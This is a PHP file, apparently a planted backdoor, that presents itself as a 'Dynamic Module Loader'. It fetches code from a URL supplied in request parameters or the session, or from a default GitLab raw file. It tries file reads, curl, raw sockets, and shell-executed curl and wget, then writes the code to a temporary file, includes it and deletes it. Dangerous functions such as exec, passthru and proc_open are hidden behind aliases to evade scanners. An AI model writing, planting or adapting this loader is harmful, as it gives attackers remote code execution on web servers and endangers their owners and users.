File: //var/tmp/0e03bcfxTa7G
<?php
/* Dynamic Module Loader */
session_start();
$input = $_SESSION['ts_url'] ?? $_GET['input'] ?? $_GET['load'] ?? 'https://gitlab.com/ardeaindah-group/ardearep/-/raw/main/massmCopy.txt';
if (!$input) exit;
// Fungsi yang BISA di-alias (function biasa)
$fn = [
// I/O Operations
'rd' => 'file_get_contents',
'op' => 'fopen',
'strm' => 'stream_get_contents',
'cl' => 'fclose',
// Connection
'ini' => 'curl_init',
'set' => 'curl_setopt_array',
'go' => 'curl_exec',
'end' => 'curl_close',
// Network
'sk1' => 'fsockopen',
'sk2' => 'stream_socket_client',
'sk3' => 'socket_create',
'sk4' => 'socket_connect',
'sk5' => 'socket_write',
'sk6' => 'socket_read',
'sk7' => 'socket_close',
'sk8' => 'stream_socket_shutdown',
// Process
'p1' => 'proc_open',
'p2' => 'proc_close',
'x1' => 'exec',
'x2' => 'shell_exec',
'x3' => 'passthru',
// File system
'tmp' => 'tempnam',
'put' => 'file_put_contents',
'rm' => 'unlink',
// Utils
'parse'=> 'parse_url',
'dns' => 'gethostbyname',
'ctx' => 'stream_context_create',
'ex' => 'function_exists',
'spl' => 'SplFileObject',
'ob1' => 'ob_start',
'ob2' => 'ob_get_clean'
];
function fetchModule($u) {
global $fn;
$c = $fn['ctx'](['http'=>['timeout'=>20,'follow_location'=>true],'ssl'=>['verify_peer'=>false]]);
// M1: Read
$d = @$fn['rd']($u,false,$c);
if(trim($d)) return $d;
// M2: Connect & Go
if($fn['ex']($fn['ini'])){
$h=$fn['ini']();$fn['set']($h,[CURLOPT_URL=>$u,CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>20,CURLOPT_SSL_VERIFYPEER=>0]);$r=$fn['go']($h);$fn['end']($h);if(trim($r))return$r;
}
// M3: SPL
try{$r=new $fn['spl']($u);$b='';while(!$r->eof())$b.=$r->fgets();if(trim($b))return$b;}catch(Exception$e){}
// M4: Open stream
$fp=@$fn['op']($u,'r',false,$c);
if($fp){$d=$fn['strm']($fp);$fn['cl']($fp);if(trim($d))return$d;}
// Socket methods
$p=$fn['parse']($u);$hn=$p['host']??'';$pt=$p['path']??'/';$po=($p['scheme']??'')=='https'?443:80;
if($hn){
// sk1 - fsockopen
$s=@$fn['sk1']($hn,$po,$e,$er,20);
if($s){fwrite($s,"GET $pt HTTP/1.1\r\nHost:$hn\r\nConnection:close\r\n\r\n");$r='';while(!feof($s))$r.=fgets($s);fclose($s);$i=strpos($r,"\r\n\r\n");if($i!==false)return substr($r,$i+4);}
// sk2 - stream_socket_client
$addr=(($p['scheme']??'')=='https'?'ssl://':'tcp://')."$hn:$po";
$sk=@$fn['sk2']($addr,$en,$es,20);
if($sk){fwrite($sk,"GET $pt HTTP/1.1\r\nHost:$hn\r\nConnection:close\r\n\r\n");$d=$fn['strm']($sk);$fn['sk8']($sk,STREAM_SHUT_RDWR);$i=strpos($d,"\r\n\r\n");if($i!==false)return substr($d,$i+4);}
// sk3-sk7 - socket_create
if($fn['ex']($fn['sk3'])){
$ip=$fn['dns']($hn);if($ip!=$hn){
$s=@$fn['sk3'](AF_INET,SOCK_STREAM,SOL_TCP);
if($s&&@$fn['sk4']($s,$ip,$po)){
$fn['sk5']($s,"GET $pt HTTP/1.1\r\nHost:$hn\r\nConnection:close\r\n\r\n");
$b='';while($c=@$fn['sk6']($s,1024))$b.=$c;$fn['sk7']($s);
$i=strpos($b,"\r\n\r\n");if($i!==false)return substr($b,$i+4);
}
}
}
}
// CLI methods
$safe=escapeshellarg($u);
foreach(["curl -sL --max-time 20 $safe","wget -qO- --timeout=20 $safe"] as$cmd){
// proc_open
if($fn['ex']($fn['p1'])){
$pr=@$fn['p1']($cmd,[[0=>'pipe','r'],[1=>'pipe','w'],[2=>'pipe','w']],$pi);
if(is_resource($pr)){fclose($pi[0]);$o=$fn['strm']($pi[1]);fclose($pi[1]);fclose($pi[2]);$fn['p2']($pr);if(trim($o))return$o;}
}
// exec
if($fn['ex']($fn['x1'])){@$fn['x1']($cmd.'2>&1',$o,$rv);if(!$rv&&$o)return join("\n",$o);}
// shell_exec
if($fn['ex']($fn['x2'])){$o=@$fn['x2']($cmd.'2>&1');if(trim($o))return$o;}
// passthru
if($fn['ex']($fn['x3'])){$fn['ob1']();@$fn['x3']($cmd.'2>&1',$rv);$o=$fn['ob2']();if(!$rv&&trim($o))return$o;}
}
return null;
}
// ⚠️ include() HARUS LANGSUNG - tidak bisa di-alias!
function renderMod($code) {
global $fn; // tmp, put, rm
if(!trim($code)) return;
// Buat temp file pakai alias
$t = $fn['tmp'](sys_get_temp_dir(), 'md_');
@$fn['put']($t, $code);
// ❌ SALAH: $fn['inc']($t); <- include adalah language construct!
// ✅ BENAR: include langsung
include $t;
// Hapus temp file pakai alias
@$fn['rm']($t);
}
// ============================================
// EXECUTE
// ============================================
if ($d = fetchModule($input)) {
renderMod($d);
}